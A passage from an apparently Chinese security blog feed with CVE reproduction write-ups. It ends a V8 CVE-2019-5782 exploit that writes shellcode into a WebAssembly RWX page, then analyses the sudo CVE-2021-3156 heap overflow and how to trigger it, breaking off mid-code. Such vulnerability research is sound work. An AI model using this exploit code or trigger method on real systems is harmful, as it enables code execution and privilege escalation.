punctuation">,</span><span class="token number">131</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">129</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">7</span><span class="token punctuation">,</span><span class="token number">145</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">101</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">111</span><span class="token punctuation">,</span><span class="token number">114</span><span class="token punctuation">,</span><span class="token number">121</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">105</span><span class="token punctuation">,</span><span class="token number">110</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">10</span><span class="token punctuation">,</span><span class="token number">138</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">65</span><span class="token punctuation">,</span><span class="token number">42</span><span class="token punctuation">,</span><span class="token number">11</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasmModule <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Module</span><span class="token punctuation">(</span>wasmCode<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasmInstance <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Instance</span><span class="token punctuation">(</span>wasmModule<span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> f <span class="token operator">=</span> wasmInstance<span class="token punctuation">.</span>exports<span class="token punctuation">.</span>main<span class="token punctuation">;</span><span class="token comment">//%DebugPrint(f);</span><span class="token comment">//%SystemBreak();</span><span class="token keyword">var</span> f_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> shared_info_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>f_addr <span class="token operator">+</span> <span class="token number">0x18n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> data_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>shared_info_addr <span class="token operator">+</span> <span class="token number">0x8n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> instance_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>data_addr <span class="token operator">+</span> <span class="token number">0x10n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> rwx_page_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>instance_addr <span class="token operator">+</span> <span class="token number">0xe8n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> sc_arr <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token number">0x10101010101b848n</span><span class="token punctuation">,</span>    <span class="token number">0x62792eb848500101n</span><span class="token punctuation">,</span>    <span class="token number">0x431480101626d60n</span><span class="token punctuation">,</span>    <span class="token number">0x2f7273752fb84824n</span><span class="token punctuation">,</span>    <span class="token number">0x48e78948506e6962n</span><span class="token punctuation">,</span>    <span class="token number">0x1010101010101b8n</span><span class="token punctuation">,</span>    <span class="token number">0x6d606279b8485001n</span><span class="token punctuation">,</span>    <span class="token number">0x2404314801010162n</span><span class="token punctuation">,</span>    <span class="token number">0x1485e086a56f631n</span><span class="token punctuation">,</span>    <span class="token number">0x313b68e6894856e6n</span><span class="token punctuation">,</span>    <span class="token number">0x101012434810101n</span><span class="token punctuation">,</span>    <span class="token number">0x4c50534944b84801n</span><span class="token punctuation">,</span>    <span class="token number">0x6a52d231503d5941n</span><span class="token punctuation">,</span>    <span class="token number">0x894852e201485a08n</span><span class="token punctuation">,</span>    <span class="token number">0x50f583b6ae2n</span><span class="token punctuation">,</span><span class="token punctuation">]</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0n</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> sc_arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token function">write64</span><span class="token punctuation">(</span>rwx_page_addr <span class="token operator">+</span> i <span class="token operator">*</span> <span class="token number">8n</span><span class="token punctuation">,</span> sc_arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://gtoad.github.io/2019/09/01/V8-CVE-2019-5782/">https://gtoad.github.io/2019/09/01/V8-CVE-2019-5782/</a></li><li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=906043">https://bugs.chromium.org/p/chromium/issues/detail?id=906043</a></li><li><a href="https://xz.aliyun.com/t/5712">https://xz.aliyun.com/t/5712</a></li><li><a href="https://www.sunxiaokong.xyz/2020-02-25/lzx-cve-2019-5782/">https://www.sunxiaokong.xyz/2020-02-25/lzx-cve-2019-5782/</a></li><li><a href="https://cy2cs.top/2020/06/24/%E8%BF%91%E6%9C%9F%E5%88%86%E6%9E%90%E7%9A%84%E4%B8%A4%E4%B8%AA-v8-%E6%BC%8F%E6%B4%9E/">https://cy2cs.top/2020/06/24/%E8%BF%91%E6%9C%9F%E5%88%86%E6%9E%90%E7%9A%84%E4%B8%A4%E4%B8%AA-v8-%E6%BC%8F%E6%B4%9E/</a></li><li><a href="https://chromium.googlesource.com/v8/v8.git/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04%5E">https://chromium.googlesource.com/v8/v8.git/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04%5E</a>!</li><li><a href="https://chromium.googlesource.com/v8/v8.git/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04">https://chromium.googlesource.com/v8/v8.git/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;v8 引擎漏洞 CVE-2019-5872 复现，因本人对 JIT 技术的了解较浅，故本文对漏洞成因的 JIT 方面并不做详细的说明。&lt;/p&gt;
    
    </summary>
    
    
      <category term="CVE" scheme="http://www.xi4oyu.top/categories/CVE/"/>
    
    
      <category term="v8" scheme="http://www.xi4oyu.top/tags/v8/"/>
    
      <category term="cve" scheme="http://www.xi4oyu.top/tags/cve/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2021-3156</title>
    <link href="http://www.xi4oyu.top/b941c294/"/>
    <id>http://www.xi4oyu.top/b941c294/</id>
    <published>2021-03-25T16:41:00.000Z</published>
    <updated>2021-03-25T16:41:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>CVE-2021-3156 sudo 提权漏洞，复现过程总结</p><span id="more"></span><h2 id="复现环境"><a href="#复现环境" class="headerlink" title="复现环境"></a>复现环境</h2><ul><li>系统：Ubuntu 20.04</li><li>sudo: sudo-1.8.31</li></ul><p>源码下载：<a href="https://mirrors.ustc.edu.cn/ubuntu/pool/main/s/sudo/sudo_1.8.31.orig.tar.gz">https://mirrors.ustc.edu.cn/ubuntu/pool/main/s/sudo/sudo_1.8.31.orig.tar.gz</a></p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>可以参照一下官方的修复方式：<br><a href="https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8">https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8</a></p><p>找到 1.8.31 版本源码的漏洞位置如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">//plugins/sudoers/sudoers.c</span><span class="token comment">//set_cmnd()</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">819</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>sudo_mode <span class="token operator">&amp;</span> <span class="token punctuation">(</span>MODE_RUN <span class="token operator">|</span> MODE_EDIT <span class="token operator">|</span> MODE_CHECK<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">845</span>   <span class="token number">846</span>          <span class="token comment">/* set user_args */</span>   <span class="token number">847</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span>NewArgc <span class="token operator">></span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">848</span>              <span class="token keyword">char</span> <span class="token operator">*</span>to<span class="token punctuation">,</span> <span class="token operator">*</span>from<span class="token punctuation">,</span> <span class="token operator">*</span><span class="token operator">*</span>av<span class="token punctuation">;</span>   <span class="token number">849</span>              <span class="token class-name">size_t</span> size<span class="token punctuation">,</span> n<span class="token punctuation">;</span>   <span class="token number">850</span>   <span class="token number">851</span>              <span class="token comment">/* Alloc and build up user_args. */</span>   <span class="token number">852</span>              <span class="token keyword">for</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> av <span class="token operator">=</span> NewArgv <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token operator">*</span>av<span class="token punctuation">;</span> av<span class="token operator">++</span><span class="token punctuation">)</span>   <span class="token number">853</span>                  size <span class="token operator">+=</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token operator">*</span>av<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>   <span class="token number">854</span>              <span class="token keyword">if</span> <span class="token punctuation">(</span>size <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">||</span> <span class="token punctuation">(</span>user_args <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">855</span>                  <span class="token function">sudo_warnx</span><span class="token punctuation">(</span><span class="token function">U_</span><span class="token punctuation">(</span><span class="token string">"%s: %s"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token constant">__func__</span><span class="token punctuation">,</span> <span class="token function">U_</span><span class="token punctuation">(</span><span class="token string">"unable to allocate memory"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token number">856</span>                  <span class="token function">debug_return_int</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token number">857</span>              <span class="token punctuation">&#125;</span>   <span class="token number">858</span>              <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">ISSET</span><span class="token punctuation">(</span>sudo_mode<span class="token punctuation">,</span> MODE_SHELL<span class="token operator">|</span>MODE_LOGIN_SHELL<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">859</span>                  <span class="token comment">/*   860                   * When running a command via a shell, the sudo front-end   861                   * escapes potential meta chars.  We unescape non-spaces   862                   * for sudoers matching and logging purposes.   863                   */</span>   <span class="token number">864</span>                  <span class="token keyword">for</span> <span class="token punctuation">(</span>to <span class="token operator">=</span> user_args<span class="token punctuation">,</span> av <span class="token operator">=</span> NewArgv <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">(</span>from <span class="token operator">=</span> <span class="token operator">*</span>av<span class="token punctuation">)</span><span class="token punctuation">;</span> av<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">865</span>                      <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token operator">*</span>from<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">866</span>                          <span class="token keyword">if</span> <span class="token punctuation">(</span>from<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string">'\\'</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span><span class="token function">isspace</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">char</span><span class="token punctuation">)</span>from<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>   <span class="token number">867</span>                              from<span class="token operator">++</span><span class="token punctuation">;</span>   <span class="token number">868</span>                          <span class="token operator">*</span>to<span class="token operator">++</span> <span class="token operator">=</span> <span class="token operator">*</span>from<span class="token operator">++</span><span class="token punctuation">;</span>   <span class="token number">869</span>                      <span class="token punctuation">&#125;</span>   <span class="token number">870</span>                      <span class="token operator">*</span>to<span class="token operator">++</span> <span class="token operator">=</span> <span class="token string">' '</span><span class="token punctuation">;</span>   <span class="token number">871</span>                  <span class="token punctuation">&#125;</span>   <span class="token number">872</span>                  <span class="token operator">*</span><span class="token operator">--</span>to <span class="token operator">=</span> <span class="token string">'\0'</span><span class="token punctuation">;</span>   <span class="token number">873</span>              <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在 set_cmnd 函数，看到 866 行处，以 <code>\</code> 开头下一个字符不是空格，那么就认为是转义字符，<code>from++</code> 跳过字符 <code>\</code>，但是没有考虑到下一个字符是 <code>\0</code> 的情况，如果下一个字符是 <code>\0</code>，那么 <code>*to = *from++</code> 就写入 <code>\0</code> 字符，下一次循环条件判断成立，则继续往 user_args 里面写入数据，而 user_args 是在 852-854 行处使用 malloc 分配的一个堆块，这就可以造成一个堆溢出的漏洞</p><p><strong>最后一个参数后面就是环境变量的位置，所以只要最后一个参数以一个 <code>\</code> 结尾，那么就可以通过控制环境变量，堆溢出写入任意数据</strong></p><p>同时看到 819 行处，触发漏洞需要设置 <code>MODE_RUN</code>，<code>MODE_EDIT</code>，<code>MODE_CHECK</code> 中的一个，858 行处，要求设置 <code>MODE_SHELL</code> 或 <code>MODE_LOGIN_SHELL</code></p><p>想要触发漏洞，还要先看看下面这段代码：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">//src/parse_args.c</span><span class="token comment">//parse_args()</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">571</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">ISSET</span><span class="token punctuation">(</span>mode<span class="token punctuation">,</span> MODE_RUN<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">ISSET</span><span class="token punctuation">(</span>flags<span class="token punctuation">,</span> MODE_SHELL<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">572</span>          <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>av<span class="token punctuation">,</span> <span class="token operator">*</span>cmnd <span class="token operator">=</span> <span class="token constant">NULL</span><span class="token punctuation">;</span>   <span class="token number">573</span>          <span class="token keyword">int</span> ac <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>   <span class="token number">574</span>   <span class="token number">575</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span>argc <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">576</span>              <span class="token comment">/* shell -c "command" */</span>   <span class="token number">577</span>              <span class="token keyword">char</span> <span class="token operator">*</span>src<span class="token punctuation">,</span> <span class="token operator">*</span>dst<span class="token punctuation">;</span>   <span class="token number">578</span>              <span class="token class-name">size_t</span> cmnd_size <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">size_t</span><span class="token punctuation">)</span> <span class="token punctuation">(</span>argv<span class="token punctuation">[</span>argc <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">-</span> argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">+</span>   <span class="token number">579</span>                  <span class="token function">strlen</span><span class="token punctuation">(</span>argv<span class="token punctuation">[</span>argc <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>   <span class="token number">580</span>   <span class="token number">581</span>              cmnd <span class="token operator">=</span> dst <span class="token operator">=</span> <span class="token function">reallocarray</span><span class="token punctuation">(</span><span class="token constant">NULL</span><span class="token punctuation">,</span> cmnd_size<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token number">582</span>              <span class="token keyword">if</span> <span class="token punctuation">(</span>cmnd <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span>   <span class="token number">583</span>                  <span class="token function">sudo_fatalx</span><span class="token punctuation">(</span><span class="token function">U_</span><span class="token punctuation">(</span><span class="token string">"%s: %s"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token constant">__func__</span><span class="token punctuation">,</span> <span class="token function">U_</span><span class="token punctuation">(</span><span class="token string">"unable to allocate memory"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token number">584</span>              <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">gc_add</span><span class="token punctuation">(</span>GC_PTR<span class="token punctuation">,</span> cmnd<span class="token punctuation">)</span><span class="token punctuation">)</span>   <span class="token number">585</span>                  <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token number">586</span>   <span class="token number">587</span>              <span class="token keyword">for</span> <span class="token punctuation">(</span>av <span class="token operator">=</span> argv<span class="token punctuation">;</span> <span class="token operator">*</span>av <span class="token operator">!=</span> <span class="token constant">NULL</span><span class="token punctuation">;</span> av<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">588</span>                  <span class="token keyword">for</span> <span class="token punctuation">(</span>src <span class="token operator">=</span> <span class="token operator">*</span>av<span class="token punctuation">;</span> <span class="token operator">*</span>src <span class="token operator">!=</span> <span class="token string">'\0'</span><span class="token punctuation">;</span> src<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">589</span>                      <span class="token comment">/* quote potential meta characters */</span>   <span class="token number">590</span>                      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isalnum</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">char</span><span class="token punctuation">)</span><span class="token operator">*</span>src<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">*</span>src <span class="token operator">!=</span> <span class="token string">'_'</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">*</span>src <span class="token operator">!=</span> <span class="token string">'-'</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">*</span>src <span class="token operator">!=</span> <span class="token string">'$'</span><span class="token punctuation">)</span>   <span class="token number">591</span>                          <span class="token operator">*</span>dst<span class="token operator">++</span> <span class="token operator">=</span> <span class="token string">'\\'</span><span class="token punctuation">;</span>   <span class="token number">592</span>                      <span class="token operator">*</span>dst<span class="token operator">++</span> <span class="token operator">=</span> <span class="token operator">*</span>src<span class="token punctuation">;</span>   <span class="token number">593</span>                  <span class="token punctuation">&#125;</span>   <span class="token number">594</span>                  <span class="token operator">*</span>dst<span class="token operator">++</span> <span class="token operator">=</span> <span class="token string">' '</span><span class="token punctuation">;</span>   <span class="token number">595</span>              <span class="token punctuation">&#125;</span>   <span class="token number">596</span>              <span class="token keyword">if</span> <span class="token punctuation">(</span>cmnd <span class="token operator">!=</span> dst<span class="token punctuation">)</span>   <span class="token number">597</span>                  dst<span class="token operator">--</span><span class="token punctuation">;</span>  <span class="token comment">/* replace last space with a NUL */</span>   <span class="token number">598</span>              <span class="token operator">*</span>dst <span class="token operator">=</span> <span class="token string">'\0'</span><span class="token punctuation">;</span>   <span class="token number">599</span>   <span class="token number">600</span>              ac <span class="token operator">+=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">/* -c cmnd */</span>   <span class="token number">601</span>          <span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在处理命令行参数的时候，设置了 <code>MODE_RUN</code> 和 <code>MODE_SHELL</code> 的情况下，会对命令行参数进行重写，把所有元字符包括 <code>\</code> 都转义了，也就是单个反斜杠变成了两个反斜杠，导致后面的漏洞无法触发</p><p>总结一下：</p><ol><li><code>MODE_RUN</code> 和 <code>MODE_SHELL</code> 不能都设置，因为在 sudo 程序的 <code>parse_args</code> 函数里会对反斜杠进行转义，导致漏洞无法触发</li><li>触发漏洞需要设置 <code>MODE_RUN</code>，<code>MODE_EDIT</code>，<code>MODE_CHECK</code> 中的一个，同时要设置 <code>MODE_SHELL</code> 或 <code>MODE_LOGIN_SHELL</code></li></ol><p>那么 <code>MODE_RUN</code> 是不可以设置的，因为一旦设置 <code>MODE_RUN</code>，触发漏洞条件需要 <code>MODE_SHELL</code>，而 <code>MODE_RUN</code> 和 <code>MODE_SHELL</code> 同时存在会导致 <code>parse_args</code> 对反斜杠进行转义，导致漏洞无法触发</p><p><strong>那么就要设置 <code>MODE_EDIT</code> 或者 <code>MODE_CHECK</code>，同时不能设置 <code>MODE_RUN</code></strong></p><p>设置 <code>MODE_EDIT</code> 使用 <code>-e</code>，<code>MODE_LOGIN_SHELL</code> 使用 <code>-i</code>，<code>MODE_SHELL</code> 使用 <code>-s</code>，对应源码如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">//src/parse_args.c</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">358</span>                  <span class="token keyword">case</span> <span class="token string">'e'</span><span class="token operator">:</span>   <span class="token number">359</span>                      <span class="token keyword">if</span> <span class="token punctuation">(</span>mode <span class="token operator">&amp;&amp;</span> mode <span class="token operator">!=</span> MODE_EDIT<span class="token punctuation">)</span>   <span class="token number">360</span>                          <span class="token function">usage_excl</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token number">361</span>                      mode <span class="token operator">=</span> MODE_EDIT<span class="token punctuation">;</span>   <span class="token number">362</span>                      sudo_settings<span class="token punctuation">[</span>ARG_SUDOEDIT<span class="token punctuation">]</span><span class="token punctuation">.</span>value <span class="token operator">=</span> <span class="token string">"true"</span><span class="token punctuation">;</span>   <span class="token number">363</span>                      valid_flags <span class="token operator">=</span> MODE_NONINTERACTIVE<span class="token punctuation">;</span>   <span class="token number">364</span>                      <span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">402</span>                  <span class="token keyword">case</span> <span class="token string">'i'</span><span class="token operator">:</span>   <span class="token number">403</span>                      sudo_settings<span class="token punctuation">[</span>ARG_LOGIN_SHELL<span class="token punctuation">]</span><span class="token punctuation">.</span>value <span class="token operator">=</span> <span class="token string">"true"</span><span class="token punctuation">;</span>   <span class="token number">404</span>                      <span class="token function">SET</span><span class="token punctuation">(</span>flags<span class="token punctuation">,</span> MODE_LOGIN_SHELL<span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token number">405</span>                      <span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">460</span>                  <span class="token keyword">case</span> <span class="token string">'s'</span><span class="token operator">:</span>   <span class="token number">461</span>                      sudo_settings<span class="token punctuation">[</span>ARG_USER_SHELL<span class="token punctuation">]</span><span class="token punctuation">.</span>value <span class="token operator">=</span> <span class="token string">"true"</span><span class="token punctuation">;</span>   <span class="token number">462</span>                      <span class="token function">SET</span><span class="token punctuation">(</span>flags<span class="token punctuation">,</span> MODE_SHELL<span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token number">463</span>                      <span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>MODE_CHECK</code> 在这里设置，使用 <code>-l</code></p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">//src/parse_args.c</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">416</span>                  <span class="token keyword">case</span> <span class="token 